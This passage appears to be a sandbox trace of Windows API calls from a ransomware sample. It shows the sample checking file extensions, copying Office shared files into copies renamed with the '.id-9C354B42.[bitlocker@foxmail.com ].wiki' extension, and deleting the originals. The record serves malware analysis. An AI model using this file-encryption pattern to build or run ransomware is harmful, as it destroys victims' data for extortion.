Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.344] lstrlenW (lpString=".1cd") returned 4 [0055.344] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0055.344] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF") returned 73 [0055.344] lstrlenW (lpString=".jpg") returned 4 [0055.344] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0055.344] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") returned -1 [0055.344] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0055.344] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.654] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=30170) returned 1 [0055.654] CloseHandle (hObject=0x204) returned 1 [0055.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 0x20 [0055.654] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.655] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.655] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.655] GetLastError () returned 0x0 [0055.655] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x75da, lpOverlapped=0x0) returned 1 [0055.657] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x75e0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x75e0, lpOverlapped=0x0) returned 1 [0055.658] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.658] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xec, lpOverlapped=0x0) returned 1 [0055.659] SetEndOfFile (hFile=0x1a4) returned 1 [0055.659] CloseHandle (hObject=0x1a4) returned 1 [0055.659] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.659] SetEndOfFile (hFile=0x204) returned 1 [0055.660] CloseHandle (hObject=0x204) returned 1 [0055.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.660] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\watermar\\thmbnail.png")) returned 1 [0055.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.660] lstrlenW (lpString=".doc") returned 4 [0055.660] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.660] lstrlenW (lpString=".docx") returned 5 [0055.660] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.660] lstrlenW (lpString=".pdf") returned 4 [0055.660] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.660] lstrlenW (lpString=".xls") returned 4 [0055.660] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.660] lstrlenW (lpString=".xlsx") returned 5 [0055.660] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.660] lstrlenW (lpString=".ppt") returned 4 [0055.660] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".zip") returned 4 [0055.661] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.661] lstrlenW (lpString=".rar") returned 4 [0055.661] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.661] lstrlenW (lpString=".bz2") returned 4 [0055.661] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString=".7z") returned 3 [0055.661] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".dbf") returned 4 [0055.661] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".1cd") returned 4 [0055.661] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".jpg") returned 4 [0055.661] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".doc") returned 4 [0055.661] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString=".docx") returned 5 [0055.661] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0055.661] lstrlenW (lpString=".pdf") returned 4 [0055.661] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0055.661] lstrlenW (lpString=".xls") returned 4 [0055.661] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0055.661] lstrlenW (lpString=".xlsx") returned 5 [0055.661] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0055.661] lstrlenW (lpString=".ppt") returned 4 [0055.661] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0055.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.661] lstrlenW (lpString=".zip") returned 4 [0055.662] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0055.662] lstrlenW (lpString=".rar") returned 4 [0055.662] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0055.662] lstrlenW (lpString=".bz2") returned 4 [0055.662] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0055.662] lstrlenW (lpString=".7z") returned 3 [0055.662] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0055.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.662] lstrlenW (lpString=".dbf") returned 4 [0055.662] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0055.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.662] lstrlenW (lpString=".1cd") returned 4 [0055.662] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0055.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\WATERMAR\\THMBNAIL.PNG") returned 77 [0055.662] lstrlenW (lpString=".jpg") returned 4 [0055.662] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0055.662] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.662] lstrlenW (lpString="VBOB6.CHM") returned 9 [0055.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.662] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=123956) returned 1 [0055.663] CloseHandle (hObject=0x204) returned 1 [0055.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 0x20 [0055.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.663] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.663] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.663] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.663] GetLastError () returned 0x0 [0055.663] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x1e434, lpOverlapped=0x0) returned 1 [0055.668] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x1e440, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x1e440, lpOverlapped=0x0) returned 1 [0055.670] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.670] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.670] SetEndOfFile (hFile=0x1a4) returned 1 [0055.671] CloseHandle (hObject=0x1a4) returned 1 [0055.671] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.671] SetEndOfFile (hFile=0x204) returned 1 [0055.672] CloseHandle (hObject=0x204) returned 1 [0055.672] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0055.672] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbob6.chm")) returned 1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString=".doc") returned 4 [0055.673] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString=".docx") returned 5 [0055.673] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0055.673] lstrlenW (lpString=".pdf") returned 4 [0055.673] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString=".xls") returned 4 [0055.673] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString=".xlsx") returned 5 [0055.673] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0055.673] lstrlenW (lpString=".ppt") returned 4 [0055.673] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString=".zip") returned 4 [0055.673] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString=".rar") returned 4 [0055.673] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString=".bz2") returned 4 [0055.673] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.673] lstrlenW (lpString=".7z") returned 3 [0055.673] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString=".dbf") returned 4 [0055.673] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString=".1cd") returned 4 [0055.673] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.673] lstrlenW (lpString=".jpg") returned 4 [0055.673] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString=".doc") returned 4 [0055.674] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString=".docx") returned 5 [0055.674] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0055.674] lstrlenW (lpString=".pdf") returned 4 [0055.674] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString=".xls") returned 4 [0055.674] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString=".xlsx") returned 5 [0055.674] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0055.674] lstrlenW (lpString=".ppt") returned 4 [0055.674] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString=".zip") returned 4 [0055.674] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString=".rar") returned 4 [0055.674] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString=".bz2") returned 4 [0055.674] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0055.674] lstrlenW (lpString=".7z") returned 3 [0055.674] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString=".dbf") returned 4 [0055.674] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString=".1cd") returned 4 [0055.674] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0055.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBOB6.CHM") returned 70 [0055.674] lstrlenW (lpString=".jpg") returned 4 [0055.674] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0055.675] lstrcmpiW (lpString1=".CHM", lpString2=".wiki") returned -1 [0055.675] lstrlenW (lpString="VBUI6.CHM") returned 9 [0055.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.675] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x234ff1c | out: lpFileSize=0x234ff1c*=416918) returned 1 [0055.675] CloseHandle (hObject=0x204) returned 1 [0055.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0055.676] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0055.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0055.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.676] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0055.676] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0055.676] GetLastError () returned 0x0 [0055.676] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x65c96, lpOverlapped=0x0) returned 1 [0055.686] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0x65ca0, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0x65ca0, lpOverlapped=0x0) returned 1 [0055.857] ReadFile (in: hFile=0x204, lpBuffer=0x3650020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x234fed4, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesRead=0x234fed4*=0x0, lpOverlapped=0x0) returned 1 [0055.857] WriteFile (in: hFile=0x1a4, lpBuffer=0x3650020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x234fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3650020*, lpNumberOfBytesWritten=0x234fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0055.857] SetEndOfFile (hFile=0x1a4) returned 1 [0055.857] CloseHandle (hObject=0x1a4) returned 1 [0056.078] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x234fec8 | out: lpNewFilePointer=0x0) returned 1 [0056.078] SetEndOfFile (hFile=0x204) returned 1 [0056.082] CloseHandle (hObject=0x204) returned 1 [0056.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0056.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0056.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.218] lstrlenW (lpString=".doc") returned 4 [0056.218] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString=".docx") returned 5 [0056.218] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.218] lstrlenW (lpString=".pdf") returned 4 [0056.218] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString=".xls") returned 4 [0056.218] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString=".xlsx") returned 5 [0056.218] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.218] lstrlenW (lpString=".ppt") returned 4 [0056.218] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.218] lstrlenW (lpString=".zip") returned 4 [0056.218] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString=".rar") returned 4 [0056.218] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.218] lstrlenW (lpString=".bz2") returned 4 [0056.218] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.218] lstrlenW (lpString=".7z") returned 3 [0056.219] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString=".dbf") returned 4 [0056.219] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString=".1cd") returned 4 [0056.219] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString=".jpg") returned 4 [0056.219] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString=".doc") returned 4 [0056.219] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString=".docx") returned 5 [0056.219] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0056.219] lstrlenW (lpString=".pdf") returned 4 [0056.219] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString=".xls") returned 4 [0056.219] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString=".xlsx") returned 5 [0056.219] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0056.219] lstrlenW (lpString=".ppt") returned 4 [0056.219] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.219] lstrlenW (lpString=".zip") returned 4 [0056.219] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString=".rar") returned 4 [0056.219] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0056.219] lstrlenW (lpString=".bz2") returned 4 [0056.219] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0056.219] lstrlenW (lpString=".7z") returned 3 [0056.219] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0056.219] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0056.220] lstrlenW (lpString=".dbf") returned 4 [0056.220] lstrcmpiW 